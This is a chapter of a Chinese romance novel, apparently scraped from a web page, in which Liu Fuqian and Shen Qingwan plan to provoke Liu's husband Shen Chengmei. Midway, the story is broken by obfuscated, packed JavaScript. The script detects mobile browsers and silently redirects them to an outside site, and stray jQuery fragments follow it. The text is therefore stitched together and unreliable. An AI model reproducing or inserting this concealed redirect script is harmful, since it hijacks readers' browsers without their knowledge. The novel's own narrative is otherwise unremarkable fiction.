偏厅里登时鸦雀无声。
沈清晚刚从屏风后探出半截身子,面上的笑意便是一僵,悄悄儿将手里还攥着的牙箸藏去背后。
刘芙茜撞得额前一痛,连忙退了半步,抬眼便撞进沈珵美低垂的目光里。
他不知何时站在那里。
墨色衣袍换过一身,腰间玉带束得整齐,眉眼比昨夜清明许多。只是那目光落下来时,仍旧叫人心口发紧。
刘芙茜手里还提着裙幅,一见沈珵美,忙把裙角放下,手指往袖中一藏,连方才那点气势都收了大半。
沈珵美连眼角也未扫妹妹一下,视线只落在刘芙茜因奔跑而微红的面庞上,又落到她还未平下去的胸口,最后停在她泛红的耳根处。
偏厅里还留着方才笑闹的热气。
可他一进来,那点热气便像叫人掐了灯芯,一下暗下去。
“闹什么呢。”他声不高,倒还算平和。
刘芙茜忙别开脸,伸手理了理袖口,瞪向屏风后的沈清晚。
“问你妹妹去。”
沈清晚立刻从屏风后钻出来,规规矩矩站好,背后的牙箸还没藏稳,露出一截白玉似的尖儿。
“二哥,我同二嫂玩笑呢。”
她还敢叫这个!
沈清晚偏还朝她眨了一下眼,嘴角压着笑。
刘芙茜倒吸了一口气,却又实在不能当着沈珵美的面去捶她。
沈珵美唇角似是动了一下,很快又收住。
他看向沈清晚:“吃饭的时辰,大呼小叫的成什么体统。”
这话听着是责备,声气里倒不见几分怒意。
沈清晚连忙低头:“晓得了。”
沈珵美又看回刘芙茜。
刘芙茜垂着眼,手指抚着方才撞痛的额头,似乎只顾着疼,半点不肯同他对视。
他停了片刻。
“撞疼了?”
刘芙茜手指一顿。
沈清晚也抬起头来。
刘芙茜忙道:“没有。”
沈珵美望着她。
她方才同沈清晚追逐时,眉眼明亮,满屋子都是她的笑声。
如今他站在这里,她便收了手,垂了眼,连坐姿都端正起来。
他不喜这般。
更不喜自己一来,她便像被人按回笼中的雀儿。
“二哥,你可用过中饭了?”沈清晚问。
刘芙茜垂着眼睑,心中只管默念。
快走,快走。
沈珵美的目光从她低垂的睫毛上掠过,静了片刻,才道:“你们吃罢。”
说罢,竟真转身去了。
帘子垂下,外头脚步声渐远。
刘芙茜暗暗松了一口气。
沈清晚怔怔地看着他走没了影,方凑到刘芙茜跟前,悄声道:“二哥他……是不是不高兴了?”
刘芙茜看着门口空荡荡的地方,慢慢坐回椅上。
她拿起筷子,拨了拨碗里的饭。
“理他呢。”她全不在意,更不上心。
沈清晚托着腮,满面新奇地看她:“你和二哥拌嘴啦?”
昨夜那几句不知算不算吵嘴的话,从刘芙茜脑中一闪而过。
她脸上顿时红透,没敢作声。
沈清晚盯着她看,眼珠一转,忽然自己也红了脸。
刘芙茜见她这样,忙摆手道:“不是你想的那样!”
沈清晚扬起眉毛:“哦?我倒要洗耳恭听,我想的是哪样?”
刘芙茜拿箸尖戳着碟子里的点心,小声道:“你别胡猜……反正不是。”
沈清晚笑得眉眼弯弯:“好嫂子,你且说说,亲嘴儿到底是个什么滋味?”
“哎呀你——”
刘芙茜猛地抬起头来,耳根全红了。
“你怎么越说越没边了!我同你二哥——什么也没有,我们两个清清白白的!”
沈清晚眨着眼,似笑非笑:“清白?睡在一张床上,也叫清白?说不准你肚子里已经有了小娃娃呢!”
“沈清晚!”
刘芙茜羞得差点去捂她的嘴,左右看了看,见屋里丫鬟都退得远,才压低声音道:“夜里我们是分开睡的。”
“什么?”沈清晚险些从凳上跳起来。
刘芙茜忙一把拉住她:“你小声些!”
沈清晚连忙捂住嘴,眼睛仍睁得铃铛一般。
“昨日白日里,我们当着姜姨的面,立了个约。”
“什么约?”
“不睡在一处。”刘芙茜声音轻得几乎听不见。
沈清晚呆住,半晌问道:“只这一条?”
刘芙茜又小声添道:“他早起不许吵醒我,也不许逼我吃那些我不爱吃的东西,更不许熏那讨厌的香。”
沈清晚盯了她半日:“这些二哥都应了?”
刘芙茜点点头。
沈清晚慢慢坐回去,满脸像听了什么奇事。
“我二哥?”
刘芙茜道:“你也觉得奇怪罢?所以我才说,他定是在装。”
沈清晚捧着脸,想了半晌。
“芙茜,你当真不想做我嫂子么?若你做了我嫂子,咱们便能长长久久在一处了。”
刘芙茜微微低下头:“我自然想同你在一处。只是你迟早要嫁到白家去,咱们又能在一处多久呢。”
沈清晚原本还笑着,听了这话,嘴角慢慢垂下去。
“那也未必。”
沈清晚叹了一声,眼睛望向窗外。
“白夫人未必喜欢我,我娘也未必瞧得上白家。”
刘芙茜忙问:“这里头还有变故不成?”
沈清晚又转回脸来,摆了摆手:“罢了,先不说那个。你只说,我二哥相貌人才,可比方闻轩强多了罢?”
刘芙茜垂下头:“情分上的事,哪里能这样比来比去。”
沈清晚追着问:“那你心里是不是还有方闻轩?”
刘芙茜怔了怔:“什么叫心里有呢?”
这一句倒把沈清晚问住。
两人一时都怔在那里,谁也说不出话来。
窗外有风吹过,帘边玉钩轻轻撞了一声。
过了半晌,刘芙茜轻轻道:“不管我心里有没有方大哥,我反正不喜欢你二哥。他也不喜欢我。”
沈清晚眨着眼问说: “你怎就知道他不喜欢你?”
刘芙茜抿了抿唇:“他从前便看我不顺眼,你又不是不曾见过。怎么会因拜错了堂,忽然就待我好了?”
沈清晚托腮道:“可昨儿晚饭时候,他待你——”
刘芙茜立刻截住她的话:“都是装的。他骗得了旁人,骗不了我。”
沈清晚想了想,竟也点了点头:“你这样说,倒也有几分道理。”
刘芙茜轻哼一声:“你瞧,他惺惺作态,险些将连你也骗了过去。”
沈清晚便问:“那你打算如何?真打定主意,不同他过下去了?”
刘芙茜托着腮:“眼下最麻烦的,便是他一直装着。”
沈清晚眼睛忽然一亮。
“这有什么难的?”
刘芙茜抬眼看她。
“你惹他一回,叫他动了气。他一动气,自然就装不下去了。”
刘芙茜眼睛渐渐亮起来。
“可要怎么惹他?”
两人对望一眼,又一齐沉思起来。
刘芙茜低声嘀咕:“从前我什么也不做,他便总是一副不痛快的样子。如今真叫我想法子惹他生气,我倒想不出来了。”
沈清晚狐疑道:“我记着,倒像没见过二哥生气。他脾气一向是好的。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579800|204014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刘芙茜怔住了:“天爷,咱们说的可是同一个沈珵美么?”
沈清晚歪着头寻思一回,道:“你上回见他恼,是在几时?”
刘芙茜微蹙着眉,猛可里想了起来:“昨日。我把行李搁在他屋里,他那神色,倒像恨不能趁我睡着,打我一顿出气。”
沈清晚一口茶直喷在桌上。
“打你?!断断不能!”
她拿帕子胡乱按了按嘴角,又笑道:“我瞧着,他多半是想亲你罢。”
“你这蹄子,又乱胡吣些什么!”
刘芙茜才退下去的红意,一下又烧了起来。
沈清晚话头一转,又问道:“那你同方闻轩可曾亲过不曾?”
刘芙茜红着脸瞪她:“沈清晚,我看你真是得了失心疯,满脑子只剩下亲亲亲。”
沈清晚捧着脸,理直气壮道:“我不过心里纳罕罢了。书上不是说了么,这亲嘴的滋味,便如含着花瓣儿一般,软绵绵的,里头还带着些甜丝丝的味儿。”
刘芙茜“噗嗤”一声笑了,眼底也生出几分促狭来。
她弯下腰,伸出两根玉白的手指,正正捏住沈清晚两边脸颊,轻轻往外一扯:“小糊涂虫,这样的话,你该去问你的白大哥才是。在我这里,可问不出什么来。”
沈清晚被她捏得口内含糊不清,只呜呜抗议:“放开我啦……把我捏坏了,谁替你想法子惹二哥生气呢。”
刘芙茜方松了手,退回矮榻上坐定,顺手拈起小几上的一柄纨扇。
她轻轻摇了摇扇子:“法子么,我这儿倒有一个。”
“什么法子?”
可见这人若有心捉弄起人来,那股子精神和耐性,原是无穷无尽的。
刘芙茜冲她勾了勾指头,沈清晚飞也似地凑上前,那一双大眼溜圆,比平日里还要晶亮好几分。
“快说来听听!”
刘芙茜拿扇柄子轻轻点了一下沈清晚的额头:“沈珵美最要脸面。”
沈清晚点头。
“那咱们便叫他丢一回脸。”
沈清晚呆呆看着她,眼里的兴头却越来越盛。
也不知何故,单是想着二哥吃瘪的光景,她竟也很是盼着。
“还有。”
刘芙茜嘴角一翘,拿团扇遮住半张脸,只露出一双含笑的眼。
“他不是最爱晨练晨读么?那我便想个法子,叫他更专心些。”
沈清晚眼珠转了转,目光同刘芙茜一碰,忽然便明白过来,忙捂住嘴,却还是漏出几声笑。
刘芙茜也忍不住笑。
两人凑在小几边,头挨着头。
沈清晚捂着嘴,肩膀一耸一耸,憋笑憋得脸都红了。
“明儿一早。”
刘芙茜压低声音,眼睛弯起来,“咱们就——”
“就叫二哥好看!”沈清晚接得极快,说完自己先笑出声来。
刘芙茜也笑得拿扇子抵住唇,肩膀一抖一抖。“这一回,看他还端不端得住。”
“对对对,叫他知道咱们的厉害!”沈清晚连连点头。
她也说不上来为何,忽然觉得二哥竟成了她们一边的对头。
只想看他吃瘪。
既有了头绪,两人便似两只小雀儿,你一言我一语,又想出好些歪主意来,越说越兴头。
刘芙茜忽然“噗嗤”一声笑出来,拿扇子掩着嘴,几乎直不起腰。
“我、我已经想到他那张脸了……”
“什么样儿?”沈清晚眼睛亮晶晶的。
“就那样——”
刘芙茜笑得肚子疼,撑着胳膊坐起身来,学着沈珵美的模样,板起脸,一本正经道:
“刘芙茜,你这是何意?”
她捏着嗓子学得很像,沈清晚一下笑歪在榻上。